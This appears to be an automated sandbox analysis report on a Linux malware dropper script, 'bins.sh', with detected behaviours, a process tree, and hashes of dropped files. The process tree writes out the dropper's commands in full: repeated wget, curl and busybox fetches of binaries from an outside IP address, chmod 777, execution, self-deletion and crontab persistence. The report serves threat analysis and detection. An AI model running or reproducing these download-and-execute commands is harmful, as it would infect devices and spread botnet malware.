Analysis

  • max time kernel
    127s
  • max time network
    131s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21-11-2024 12:28

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5e987a3c0526f8274247f5dd4415cf62

  • SHA1

    14f1df37fa9b1a51b72c3fd0626ba9b29c235ca2

  • SHA256

    b75af69f7828a5dc87aeea59d4a9735e7825ca20f581177d2346a8f7098e0610

  • SHA512

    5c796a630626ab0c5e5666da1310fbda8f494a7c943c4620e6dfcfa7dc7f16aad86c2bfde629e4cc4e48563158df3df0eb7bfd25cddfdb789b9f8e4cb01a1d40

  • SSDEEP

    192:m1d2ui279ls7xxfksBfrzMULG6+7pJgaMUqK7DHBVdpVdJVdwfZf5fmx1K7G6SfG:yM8chKPdPdvd0K+dPdvdD

Malware Config

Signatures

  • Contacts a large (1611) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:645
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:652
        • /usr/bin/wget
          wget http://87.120.125.191/bins/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • Writes file to tmp directory
          PID:653
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:661
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • Writes file to tmp directory
          PID:670
        • /bin/chmod
          chmod 777 ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • File and Directory Permissions Modification
          PID:673
        • /tmp/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          ./ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
          • Executes dropped EXE
          PID:674
        • /bin/rm
          rm ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC
          2⤵
            PID:676
          • /usr/bin/wget
            wget http://87.120.125.191/bins/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • Writes file to tmp directory
            PID:677
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:681
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • Writes file to tmp directory
            PID:684
          • /bin/chmod
            chmod 777 5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • File and Directory Permissions Modification
            PID:685
          • /tmp/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            ./5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:686
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:688
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:689
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:690
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:691
                • /bin/rm
                  rm 5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l
                  2⤵
                    PID:693
                  • /usr/bin/wget
                    wget http://87.120.125.191/bins/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
                    2⤵
                      PID:696
                    • /usr/bin/curl
                      curl -O http://87.120.125.191/bins/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
                      2⤵
                        PID:697
                      • /bin/busybox
                        /bin/busybox wget http://87.120.125.191/bins/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
                        2⤵
                        • Writes file to tmp directory
                        PID:778
                      • /bin/chmod
                        chmod 777 5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
                        2⤵
                        • File and Directory Permissions Modification
                        PID:779
                      • /tmp/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
                        ./5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
                        2⤵
                        • Executes dropped EXE
                        PID:780
                      • /bin/rm
                        rm 5iigumHSRpu9GPieEZIqexhku5jQrWoIWH
                        2⤵
                          PID:781
                        • /usr/bin/wget
                          wget http://87.120.125.191/bins/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                          2⤵
                            PID:782
                          • /usr/bin/curl
                            curl -O http://87.120.125.191/bins/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                            2⤵
                              PID:783
                            • /bin/busybox
                              /bin/busybox wget http://87.120.125.191/bins/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                              2⤵
                              • Writes file to tmp directory
                              PID:784
                            • /bin/chmod
                              chmod 777 nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                              2⤵
                              • File and Directory Permissions Modification
                              PID:785
                            • /tmp/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                              ./nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                              2⤵
                              • Executes dropped EXE
                              PID:786
                            • /bin/rm
                              rm nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2
                              2⤵
                                PID:788
                              • /usr/bin/wget
                                wget http://87.120.125.191/bins/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                                2⤵
                                  PID:789
                                • /usr/bin/curl
                                  curl -O http://87.120.125.191/bins/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                                  2⤵
                                    PID:790
                                  • /bin/busybox
                                    /bin/busybox wget http://87.120.125.191/bins/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:793
                                  • /bin/chmod
                                    chmod 777 1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:795
                                  • /tmp/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                                    ./1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                                    2⤵
                                    • Executes dropped EXE
                                    PID:796
                                  • /bin/rm
                                    rm 1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX
                                    2⤵
                                      PID:800
                                    • /usr/bin/wget
                                      wget http://87.120.125.191/bins/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                                      2⤵
                                        PID:801
                                      • /usr/bin/curl
                                        curl -O http://87.120.125.191/bins/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                                        2⤵
                                          PID:802
                                        • /bin/busybox
                                          /bin/busybox wget http://87.120.125.191/bins/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:807
                                        • /bin/chmod
                                          chmod 777 OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:808
                                        • /tmp/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                                          ./OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                                          2⤵
                                          • Executes dropped EXE
                                          PID:810
                                        • /bin/rm
                                          rm OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i
                                          2⤵
                                            PID:813
                                          • /usr/bin/wget
                                            wget http://87.120.125.191/bins/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                                            2⤵
                                              PID:814
                                            • /usr/bin/curl
                                              curl -O http://87.120.125.191/bins/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                                              2⤵
                                                PID:815
                                              • /bin/busybox
                                                /bin/busybox wget http://87.120.125.191/bins/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:817
                                              • /bin/chmod
                                                chmod 777 SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:823
                                              • /tmp/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                                                ./SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                                                2⤵
                                                • Executes dropped EXE
                                                PID:825
                                              • /bin/rm
                                                rm SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh
                                                2⤵
                                                  PID:827
                                                • /usr/bin/wget
                                                  wget http://87.120.125.191/bins/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                                                  2⤵
                                                    PID:828
                                                  • /usr/bin/curl
                                                    curl -O http://87.120.125.191/bins/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                                                    2⤵
                                                      PID:830
                                                    • /bin/busybox
                                                      /bin/busybox wget http://87.120.125.191/bins/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:832
                                                    • /bin/chmod
                                                      chmod 777 83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:834
                                                    • /tmp/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                                                      ./83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:835
                                                    • /bin/rm
                                                      rm 83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h
                                                      2⤵
                                                        PID:838
                                                      • /usr/bin/wget
                                                        wget http://87.120.125.191/bins/FVpJI4CJgxo7RZvy2fgv5KzzLVCmEby186
                                                        2⤵
                                                          PID:839

                                                      Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • /tmp/1noG6Xt4lDdMaif1tY42NjRjfuEHXlBOdX

                                                        Filesize

                                                        122KB

                                                        MD5

                                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                                        SHA1

                                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                        SHA256

                                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                        SHA512

                                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                      • /tmp/5iigumHSRpu9GPieEZIqexhku5jQrWoIWH

                                                        Filesize

                                                        127KB

                                                        MD5

                                                        89077b7bd4bcafca7713be43635c4862

                                                        SHA1

                                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                                        SHA256

                                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                        SHA512

                                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                      • /tmp/5oApK7B8by3Wk3ZADoyKN4hDyXY1pR5Z3l

                                                        Filesize

                                                        141KB

                                                        MD5

                                                        3ca8decdb1e52c423c521bfff02ac200

                                                        SHA1

                                                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                        SHA256

                                                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                        SHA512

                                                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                      • /tmp/83cQfFuOsFjJML2e2Udqwsrnyz5dozUP1h

                                                        Filesize

                                                        151KB

                                                        MD5

                                                        6c583043d91c55aa470c08c87058e917

                                                        SHA1

                                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                                        SHA256

                                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                        SHA512

                                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                      • /tmp/OsOjlj43KwfZGfmSP5NkQi9VoCK5LFme3i

                                                        Filesize

                                                        112KB

                                                        MD5

                                                        05d7857dcead18bbd86d2935f591873c

                                                        SHA1

                                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                        SHA256

                                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                        SHA512

                                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                      • /tmp/SRWbjNIyIC9IdwY12t493h4zx5HYMueuvh

                                                        Filesize

                                                        99KB

                                                        MD5

                                                        9438d9bc392bcf300a5583b6df5bc8f6

                                                        SHA1

                                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                                        SHA256

                                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                        SHA512

                                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                      • /tmp/ctrJK2hli2B7kC92uQ7jevVVBxeQ5fGCiC

                                                        Filesize

                                                        98KB

                                                        MD5

                                                        5141342d0df8699fa32a6b066a0c592e

                                                        SHA1

                                                        8157673225bd5182f16215e2aa823a25ca2d4fbc

                                                        SHA256

                                                        54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                                        SHA512

                                                        d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                                      • /tmp/nC7qQuOe2nzj1Cu9oZHjYf6mgfznq6tbV2

                                                        Filesize

                                                        111KB

                                                        MD5

                                                        ca897a38f23ec23521ce0b1b83f8422d

                                                        SHA1

                                                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                        SHA256

                                                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                        SHA512

                                                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                      • /var/spool/cron/crontabs/tmp.P2oIQb

                                                        Filesize

                                                        210B

                                                        MD5

                                                        9c2955db4cbc76e83fcfeb9d22aa857c

                                                        SHA1

                                                        955bc3cb4a5a95f4390c82aa2a317e23c2c6f799

                                                        SHA256

                                                        d90dc66c9ea7dcea6cdc8a8d6cedd1684a7759976523c06f7e7e8ee2b2edd5a1

                                                        SHA512

                                                        d05b3ebf5494e50936bc5e3bfa2a905363e137f80c0e3eac5ccaefef7f4ecf4594d305f9125a65c4f01c4ff4d44d926f658ec82316514ee1efbf70419dc62ef5